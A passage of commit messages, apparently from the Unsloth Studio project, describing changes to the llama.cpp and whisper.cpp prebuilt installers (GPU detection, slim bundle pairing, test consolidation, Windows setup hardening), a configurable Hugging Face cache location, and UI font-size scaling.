(e.g. macos-14.0), which the version parser could not read, so the guard was a
no-op and a macOS-13 host would install the macos-14 Metal bundle. Strip the
platform prefix before parsing.
ROCm gfx detection: _detect_rocm_gfx returned the first gfx token and ignored
HIP_VISIBLE_DEVICES / ROCR_VISIBLE_DEVICES / CUDA_VISIBLE_DEVICES. Since exact
ROCm matching treats that token as the active GPU, a mixed APU + dGPU host
(gfx1151 + gfx1100) with HIP_VISIBLE_DEVICES=1 installed the wrong archive. Route
through a shared pick_rocm_gfx_target (lifted from llama) that parses per-GPU
sections and honors the visibility vars (empty / -1 -> no AMD GPU).
--rocm-gfx override: recording the arch without setting has_rocm left the host on
its CUDA/CPU path so the ROCm bundle was never picked. --rocm-gfx now implies
has_rocm and clears NVIDIA state, like llama's _apply_host_overrides.
CUDA launch env: a CUDA bundle ships the ggml CUDA backend but not
libcudart/libcublas, and the sidecar launch env exposed only the bundle dir, so
on a host whose CUDA runtime lives only in the PyTorch wheels the selection would
gate cuda usable but the server could not load it. Add the CUDA-from-PyTorch
runtime dirs to the child loader path for CUDA bundles (bundle dir still first),
mirroring binary_env.
Also normalize a manifest artifact's supported_sms defensively (parity with
llama's parser) and document that blackwell_min_toolkit_for_caps is retained for
the Phase B llama Windows path.
Not changed (verified parity, not defects): Linux/Windows min_os is enforced
nowhere in llama (macOS only); the resolver is optimistic about the checksum
index and the install path verifies.
* studio: tighten prebuilt-core code comments
* studio: lift shared prebuilt installer core out of the whisper installer
* studio: reuse the llama.cpp prebuilt installer machinery for whisper
* studio: unify llama and whisper prebuilt installers on a shared descriptor core
* studio: consolidate prebuilt installer tests into the shared core suite
Grow tests/studio/install/test_prebuilt_core.py from 62 to 164 tests so every
component-agnostic behavior runs against both descriptors: the full seven
profile CUDA release matrix (multi-GPU, on-disk runtime gating, shuffle
stability, missing SM metadata, dotted SM normalization, no-driver fallback
policy), the ROCm gfx family matrix, macOS min_os gating and its helper,
backend resolution incl. cpu-fallback precedence and Intel-mac auto detect,
checksum-index non-object and plain-lookup cases, the tar symlink/hardlink
extraction guards moved from the llama suite, and the compute-cap, visible
device, runtime-line and Blackwell helper value tables moved verbatim from
the llama characterization suites.
Delete only tests whose exact behavior the master now asserts for the same
component: 40 pure-alias helper cases in test_selection_logic.py (replaced by
value-identical master tables plus an alias-identity pin), 6 extraction moves
and the master-absorbed zip-symlink case in the llama logic suite, 3 routing
twins in test_rocm_support.py already pinned byte-for-byte in
test_selection_logic.py, the 2 Blackwell helper tables in the backend resolve
suite, 28 whisper logic tests and 10 whisper checksum tests re-asserted by
the master whisper parameterization. Wrapper wiring pins, the llama release
plan dialect, fingerprints and every llama-only behavior stay untouched.
* studio: dedupe sidecar and update helpers into the backend prebuilt package
* studio: chain whisper.cpp prebuilt updates onto the llama.cpp update flow
* studio: consume paired slim whisper prebuilts via the llama ggml runtime
* studio: serve every whisper backend from slim prebuilts
* studio: drop the whisper fat per-accelerator selection chain
unslothai/whisper.cpp releases are slim-only from v1.9.1-unsloth.2: one
ggml-less bundle per os/arch, paired to the llama.cpp prebuilt that provides
every ggml backend. Delete the whisper-side fat CUDA/ROCm/metal/vulkan
selection glue; keep slim selection + pairing, link_ggml_runtime, and one
legacy shape, the published fat CPU bundle of an explicitly pinned pre-slim
release. Exit 2 now reads as prebuilt unavailable (whisper never source
builds); setup already treats it that way.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Wire libomp runtime DLL alongside ggml in slim whisper installs
llama's clang-built windows-arm64 ggml-base.dll imports
libomp140.aarch64.dll, shipped in the llama bundle but not a system DLL.
Without it next to whisper-server.exe the loader fails with
STATUS_DLL_NOT_FOUND before main. MSVC x64 links vcomp140.dll from
System32 and Linux ggml uses system libgomp.so.1, so only windows-arm64
was affected. The empty-runtime guard still requires a real ggml
library; libomp alone is not a pairing.
* studio: drop whisper-side fat-selection support structure
Slim whisper bundles are selected per os/arch only; all accelerator
capability comes from the installed llama.cpp prebuilt, whose installer
already did the coverage-aware selection. Remove the machinery that only
existed to pick among fat per-accelerator whisper bundles:
- prebuilt_core: delete the generic CUDA/ROCm coverage selection
(select_cuda_artifact, select_rocm_artifact, ArtifactView adapters,
detected_cuda_runtime_lines, the exact-SONAME linux probe) that no
shipped component routes through; llama keeps its own selection chain
and whisper shadows select_artifact with the slim-only version.
select_artifact is now a plain os/arch/backend first-match.
- install_whisper_prebuilt: drop the HostInfo CUDA fields
(compute_caps, driver_cuda_version, torch_runtime_line) and the torch
runtime probe that populated them; nothing reachable reads them, and
the resolver payload sources runtime_line from the artifact.
- whisper_cpp_update: delete the standalone start_update job worker;
whisper applies only run as the chained phase of the combined
llama+whisper update. The status payload keeps its job field (idle).
- routes/whisper: drop the progress logger that could never fire.
- tests: remove tests of the deleted paths and tests duplicating the
descriptor-parameterized core suite or the llama freshness suite.
Contracts unchanged: resolver JSON keys, exit codes, marker fields,
pairing logs, and the pinned pre-slim fat CPU escape hatch.
* Address review feedback on the whisper prebuilt update and install paths
- Pin the chained whisper phase to the release the freshness check
offered, so the download-host latest pointer cannot reinstall an
older build in a loop
- Wire the whisper prebuilt install into setup.ps1 (Windows setup
previously skipped it entirely)
- Treat a non-executable server or missing wired ggml libraries as a
broken install instead of reporting already matches
- Keep whisper sidecar reloads out of the job-level reload flag and
resync chat state after a partial chained update that unloaded llama
- Repoint home and profile vars for the whisper-server subprocess at a
managed scratch dir and drop credential-store pointers
- Clear the prebuilt marker before the opt-in source build overwrite
- Write the prebuilt marker with explicit utf-8 encoding
* Tighten comments in the whisper prebuilt consumer
* Harden the Windows whisper setup phase and the chained update edges
- setup.ps1: honor WHISPER_SERVER_PATH / UNSLOTH_WHISPER_CPP_PATH /
UNSLOTH_SKIP_WHISPER_INSTALL, run the custom-home ownership guard
before the atomic install, and forward the release-tag pin and ROCm
hints like setup.sh
- sidecar: a cpu-selected install launches whisper-server with --no-gpu
(slim wiring links every llama backend, so the flag is what keeps a
deliberate CPU choice off the GPU)
- chained update: leave whisper unpinned on macOS (the llama phase can
walk back there, and a newest-tag pin could be an impossible pairing
on every retry) and treat installer exit 2 as kept-existing-runtime
instead of failing the combined job
- job.to_tag now comes only from the llama phase, so a whisper-only
round cannot report a llama update that never ran

Adds a configurable Hugging Face model download cache location to Unsloth Studio, selectable from Settings, with per-cache download manifests, scoped deletion, and read-only inventory of previously selected caches.
* Studio: drive UI font size through a typography scale, not the root font size
Follow up to #7355. The preference now writes --ui-font-scale
(selected / 16) and a data-ui-font-size attribute on the root instead
of mutating the root font size, and the applier clears any stale inline
root font-size left by older builds. Because the rem base never moves,
every layout-only rem-to-px conversion from #7355 is reverted to its
original form: the spacing, radius and container tokens, sidebar and
thread widths, grid tracks, calc margins and hub.css dimensions match
pre-#7355 main again, which also restores rem-based accessibility
scaling for users with a larger browser default font size.
Typography scales through tokens in index.css, all exact at 16px:
- The named Tailwind sizes (--text-xs through --text-4xl) multiply
their defaults by the scale, so standard utilities scale
- One token per design px size (--text-ui-8 ... --text-ui-34) replaces
every arbitrary text-[Npx] class; leading-ui-* mirrors the exact
line heights and the numeric --leading-3..10 scale as well
- CSS font-size and line-height declarations multiply by the scale
- Chart labels scale through a .recharts-text rule; streamdown and
react-flow px text is re-based via scaled overrides; KaTeX's 1px
layout trick stays fixed by design
- The logo lockups keep their half-rate behavior via the scale var
- The explicit Code font size remains unmultiplied
Keeps the #7355 behavior fixes: color chip min width, voice select
min/max widths, and the select and dropdown menus scrolling an inner
viewport so their corners stay rounded. The whitespace-password and
IME rename guards that merged alongside are preserved.
* Studio: contract and Playwright coverage for the UI font size scale
test_ui_font_scale_contract.py pins the mechanism (scale var written,
root font size never mutated, tokens scaled, code font size not
multiplied, the Radix select viewport owning scroll state) and guards
against new raw pixel typography, with a documented allowlist for the
recharts fontSize props covered by the stylesheet override and the
offscreen clipboard textarea.
playwright_ui_font_scale.py drives the real appearance controls: root
font size fixed at 12/16/20, text and line height scale by size/16,
sidebar width invariant, explicit code font size stays fixed, an
overflowing dictation select scrolls its Radix viewport by keyboard
and wheel, and the default restores exactly. Wired into the UI smoke
workflow against the second studio boot.
The thinking-compact and descender contracts move back to the rem and
token forms now that layout values no longer need px pinning.
The API key and Connections form reused grid tracks that only collapse at the
viewport width, so inside the narrower settings pane the provider selector and
API key input were clipped. Switch the form to container queries so it responds
to the pane width and stacks to a single column when narrow. Other settings
tabs are unaffected.
